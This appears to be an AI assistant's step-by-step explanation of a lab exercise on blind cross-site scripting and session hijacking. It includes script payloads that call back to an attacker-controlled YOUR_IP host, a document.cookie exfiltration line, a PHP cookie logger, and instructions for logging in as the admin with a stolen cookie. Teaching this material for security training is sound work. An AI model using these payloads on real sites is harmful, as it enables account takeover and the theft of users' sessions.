Session Hijacking Modern web applications utilize cookies to maintain a user's session throughout different browsing sessions. This enables the user to only log in once and keep their logged-in session alive even if they visit the same website at another
Certainly! Let’s break down the key concepts related to Session Hijacking and Blind XSS, as well as how to approach the exercise step-by-step.
### **1. Understanding Session Hijacking**
- **Definition**: Session hijacking is when an attacker captures a user's session cookie (which keeps the user logged in) and uses it to impersonate the user without knowing their credentials.
- **Cookies**: A session cookie is stored in the user's browser and, as long as it’s valid, the user remains logged in to the application.
- **Impact**: If an attacker can steal this cookie, they can gain unauthorized access to the victim's account.
### **2. Understanding Blind XSS**
- **Definition**: Blind XSS occurs when an injected script does not immediately produce visible output to the attacker. Instead, the script is executed on a page that the attacker cannot see, typically an Admin panel or similar.
- **Discovery**: Since the attacker cannot see immediate results, they must take a different approach to determine if the injection worked. This often involves making HTTP requests back to the attacker's server.
### **3. Steps to Identify Vulnerable Fields**
1. **Observation**: Start by filling out fields in the registration form. You’ll submit inputs to identify if any specific field is vulnerable to XSS.
2. **Testing Payloads**: Use payloads that will prompt a request to your server if executed.
- Example Payloads:
```html
<script src="http://YOUR_IP/username"></script>
<script src="http://YOUR_IP/fullname"></script>
```
3. **Run a Listener**: Use tools like netcat or a local PHP server to listen for incoming requests when your crafted payload executes.
4. **Record Requests**: If your server receives a request reflecting one of the fields, you've found a vulnerable input field.
### **4. Injecting XSS Payloads for Cookie Theft**
Once a vulnerable input field is identified:
1. **Use a Cookie Theft Payload**: Replace the current payload with a script that steals the session cookie:
```javascript
new Image().src='http://YOUR_IP/index.php?c='+document.cookie
```
2. **Host the Payload**: Ensure this JavaScript is hosted on your server:
- Example of a simple PHP script:
```php
<?php
if (isset($_GET['c'])) {
$cookie = urldecode($_GET['c']);
file_put_contents("cookies.txt", "IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n", FILE_APPEND);
}
?>
```
3. **Trigger the Payload**: Submit the payload in the previously found vulnerable field. Wait for the target (Admin) to visit the page, which would then trigger the XSS.
### **5. Using Stolen Cookies to Access Accounts**
- **Adding Stolen Cookies**: Once you capture the cookies:
1. Go to the login page of the web application.
2. Use developer tools to manually add the stolen cookie.
3. Name the cookie correctly (as required by the application) and input the corresponding value.
- **Access the Admin Account**: Refresh the page, and you should have logged into the Admin account if the session cookie was valid.
### **6. Summary**
- **Detect Vulnerabilities**: Test for XSS in user input fields by crafting payloads to check for execution without needing to see the output directly.
- **Capture Cookies**: Use crafted scripts to send session information back to your server when the vulnerable field is exploited.
- **Use Cookies**: Leverage stolen cookies to gain access to user accounts, thus completing the session hijacking process.
By breaking down each step and focusing on the underlying principles, the process becomes more manageable. If you have questions about specific areas or want clarity on concepts, feel free to ask!